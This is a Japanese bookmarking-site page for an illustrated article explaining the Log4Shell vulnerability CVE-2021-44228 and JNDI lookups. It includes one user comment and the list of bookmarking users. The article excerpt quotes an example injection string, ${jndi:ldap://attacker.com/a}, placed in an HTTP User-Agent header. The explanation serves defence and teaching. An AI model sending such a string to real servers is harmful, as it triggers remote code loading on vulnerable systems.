【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

テクノロジーカテゴリーの変更を依頼記事元:

milestone-of-se.nesuke.com

192 usersがブックマークコメント

コメント

1

記事へのコメント1件

注目コメント
新着コメント

tettekete37564 この手の機能は普通ドメインやホスト制限を指定しないと動かない、という感じの動作をデフォルトにするよなあ

2021/12/13 リンク

tettekete37564 この手の機能は普通ドメインやホスト制限を指定しないと動かない、という感じの動作をデフォルトにするよなあ

2021/12/13 リンク

注目コメント算出アルゴリズムの一部にLINEヤフー株式会社の「建設的コメント順位付けモデルAPI」を使用しています

規約違反を報告

アプリのスクリーンショット

いまの話題をアプリでチェック！

バナー広告なし
ミュート機能あり
ダークモード搭載

アプリをダウンロード

関連記事

【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサー... JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

ブックマークしたユーザー

koma_g2022/01/26
TakayukiN6272022/01/02
nunux2021/12/24
sakef2021/12/22
gyu-tang2021/12/22
yokawasa2021/12/19
tanivic2021/12/18
hironobu-s2021/12/15
tanakama2021/12/15
yuki_20212021/12/14
s_nagano2021/12/14
tessy2021/12/14
kabochatori2021/12/14
mstk_knife2021/12/14
sanko04082021/12/13
whitz2021/12/13
masa-662021/12/13
natu3kan2021/12/13

同じサイトの新着

同じサイトの新着をもっと読む

いま人気の記事

いま人気の記事をもっと読む

いま人気の記事 - テクノロジー

いま人気の記事 - テクノロジーをもっと読む

新着記事 - テクノロジー

新着記事 - テクノロジーをもっと読む

設定を変更しましたx